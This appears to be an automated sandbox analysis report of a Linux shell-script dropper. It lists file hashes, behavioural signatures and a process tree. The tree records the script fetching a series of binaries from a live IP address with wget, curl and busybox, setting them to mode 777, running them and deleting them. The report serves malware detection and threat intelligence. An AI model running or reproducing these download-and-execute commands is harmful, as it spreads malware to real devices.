Analysis

  • max time kernel
    22s
  • max time network
    24s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18/10/2024, 01:51

General

  • Target

    618c5d3c5bb9901a9550e576340502f7f2f23506dbb8fa46e8692a8f53d3152c.sh

  • Size

    10KB

  • MD5

    e467b8cbbdd28cf09dcbb9e7b6e6ef11

  • SHA1

    d6c5601ff1d0e611c3c890c145fae6c31f4c6e2a

  • SHA256

    618c5d3c5bb9901a9550e576340502f7f2f23506dbb8fa46e8692a8f53d3152c

  • SHA512

    0035d8533980a3d2046c0062d11bb3ae860dc14a1fefcc5ece520138629b221762d851d6ede5a30bf323ed50feace6b60517a5d9379e324138611d5927cc615c

  • SSDEEP

    192:GuSqVCOCaa2Tkychn/4DQSqVCO2n/4Qp/:GvabTkychn/4zn/4Qp/

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Checks CPU configuration 1 TTPs 11 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 22 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/618c5d3c5bb9901a9550e576340502f7f2f23506dbb8fa46e8692a8f53d3152c.sh
    /tmp/618c5d3c5bb9901a9550e576340502f7f2f23506dbb8fa46e8692a8f53d3152c.sh
    1⤵
      PID:660
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:662
        • /usr/bin/wget
          wget http://87.120.126.196/bins/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
          2⤵
            PID:668
          • /usr/bin/curl
            curl -O http://87.120.126.196/bins/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:677
          • /bin/busybox
            /bin/busybox wget http://87.120.126.196/bins/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
            2⤵
              PID:686
            • /bin/chmod
              chmod 777 wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
              2⤵
              • File and Directory Permissions Modification
              PID:689
            • /tmp/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
              ./wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
              2⤵
              • Executes dropped EXE
              PID:690
            • /bin/rm
              rm wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
              2⤵
                PID:692
              • /usr/bin/wget
                wget http://87.120.126.196/bins/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
                2⤵
                  PID:694
                • /usr/bin/curl
                  curl -O http://87.120.126.196/bins/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:697
                • /bin/busybox
                  /bin/busybox wget http://87.120.126.196/bins/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
                  2⤵
                    PID:699
                  • /bin/chmod
                    chmod 777 yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
                    2⤵
                    • File and Directory Permissions Modification
                    PID:700
                  • /tmp/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
                    ./yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
                    2⤵
                    • Executes dropped EXE
                    PID:701
                  • /bin/rm
                    rm yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
                    2⤵
                      PID:702
                    • /usr/bin/wget
                      wget http://87.120.126.196/bins/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
                      2⤵
                        PID:703
                      • /usr/bin/curl
                        curl -O http://87.120.126.196/bins/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:713
                      • /bin/busybox
                        /bin/busybox wget http://87.120.126.196/bins/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
                        2⤵
                          PID:718
                        • /bin/chmod
                          chmod 777 v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
                          2⤵
                          • File and Directory Permissions Modification
                          PID:726
                        • /tmp/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
                          ./v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
                          2⤵
                          • Executes dropped EXE
                          PID:727
                        • /bin/rm
                          rm v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
                          2⤵
                            PID:728
                          • /usr/bin/wget
                            wget http://87.120.126.196/bins/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
                            2⤵
                              PID:729
                            • /usr/bin/curl
                              curl -O http://87.120.126.196/bins/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:738
                            • /bin/busybox
                              /bin/busybox wget http://87.120.126.196/bins/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
                              2⤵
                                PID:756
                              • /bin/chmod
                                chmod 777 JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
                                2⤵
                                • File and Directory Permissions Modification
                                PID:772
                              • /tmp/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
                                ./JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
                                2⤵
                                • Executes dropped EXE
                                PID:773
                              • /bin/rm
                                rm JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
                                2⤵
                                  PID:775
                                • /usr/bin/wget
                                  wget http://87.120.126.196/bins/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
                                  2⤵
                                    PID:776
                                  • /usr/bin/curl
                                    curl -O http://87.120.126.196/bins/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:779
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.126.196/bins/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
                                    2⤵
                                      PID:794
                                    • /bin/chmod
                                      chmod 777 ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:795
                                    • /tmp/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
                                      ./ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
                                      2⤵
                                      • Executes dropped EXE
                                      PID:796
                                    • /bin/rm
                                      rm ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
                                      2⤵
                                        PID:797
                                      • /usr/bin/wget
                                        wget http://87.120.126.196/bins/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
                                        2⤵
                                          PID:798
                                        • /usr/bin/curl
                                          curl -O http://87.120.126.196/bins/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:799
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.126.196/bins/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
                                          2⤵
                                            PID:800
                                          • /bin/chmod
                                            chmod 777 OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:801
                                          • /tmp/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
                                            ./OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
                                            2⤵
                                            • Executes dropped EXE
                                            PID:802
                                          • /bin/rm
                                            rm OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
                                            2⤵
                                              PID:803
                                            • /usr/bin/wget
                                              wget http://87.120.126.196/bins/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
                                              2⤵
                                                PID:804
                                              • /usr/bin/curl
                                                curl -O http://87.120.126.196/bins/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:805
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.126.196/bins/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
                                                2⤵
                                                  PID:806
                                                • /bin/chmod
                                                  chmod 777 dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:807
                                                • /tmp/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
                                                  ./dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:808
                                                • /bin/rm
                                                  rm dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
                                                  2⤵
                                                    PID:809
                                                  • /usr/bin/wget
                                                    wget http://87.120.126.196/bins/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
                                                    2⤵
                                                      PID:810
                                                    • /usr/bin/curl
                                                      curl -O http://87.120.126.196/bins/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:811
                                                    • /bin/busybox
                                                      /bin/busybox wget http://87.120.126.196/bins/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
                                                      2⤵
                                                        PID:812
                                                      • /bin/chmod
                                                        chmod 777 4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:813
                                                      • /tmp/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
                                                        ./4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:814
                                                      • /bin/rm
                                                        rm 4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
                                                        2⤵
                                                          PID:815
                                                        • /usr/bin/wget
                                                          wget http://87.120.126.196/bins/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
                                                          2⤵
                                                            PID:816
                                                          • /usr/bin/curl
                                                            curl -O http://87.120.126.196/bins/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:817
                                                          • /bin/busybox
                                                            /bin/busybox wget http://87.120.126.196/bins/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
                                                            2⤵
                                                              PID:818
                                                            • /bin/chmod
                                                              chmod 777 M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:819
                                                            • /tmp/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
                                                              ./M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:820
                                                            • /bin/rm
                                                              rm M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
                                                              2⤵
                                                                PID:821
                                                              • /usr/bin/wget
                                                                wget http://87.120.126.196/bins/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
                                                                2⤵
                                                                  PID:822
                                                                • /usr/bin/curl
                                                                  curl -O http://87.120.126.196/bins/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:823
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://87.120.126.196/bins/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
                                                                  2⤵
                                                                    PID:824
                                                                  • /bin/chmod
                                                                    chmod 777 UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:825
                                                                  • /tmp/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
                                                                    ./UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:826
                                                                  • /bin/rm
                                                                    rm UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
                                                                    2⤵
                                                                      PID:827
                                                                    • /usr/bin/wget
                                                                      wget http://87.120.126.196/bins/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
                                                                      2⤵
                                                                        PID:828
                                                                      • /usr/bin/curl
                                                                        curl -O http://87.120.126.196/bins/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
                                                                        2⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:829
                                                                      • /bin/busybox
                                                                        /bin/busybox wget http://87.120.126.196/bins/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
                                                                        2⤵
                                                                          PID:830
                                                                        • /bin/chmod
                                                                          chmod 777 NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:831
                                                                        • /tmp/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
                                                                          ./NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          PID:832
                                                                        • /bin/rm
                                                                          rm NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
                                                                          2⤵
                                                                            PID:833
                                                                          • /usr/bin/wget
                                                                            wget http://87.120.126.196/bins/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
                                                                            2⤵
                                                                              PID:834

                                                                          Network

                                                                                MITRE ATT&CK Enterprise v15

                                                                                Replay Monitor

                                                                                Loading Replay Monitor...

                                                                                Downloads

                                                                                • /tmp/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N

                                                                                  Filesize

                                                                                  153B

                                                                                  MD5

                                                                                  998368d7c95ea4293237f2320546e440

                                                                                  SHA1

                                                                                  30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                                                                  SHA256

                                                                                  533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                                                                  SHA512

                                                                                  648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97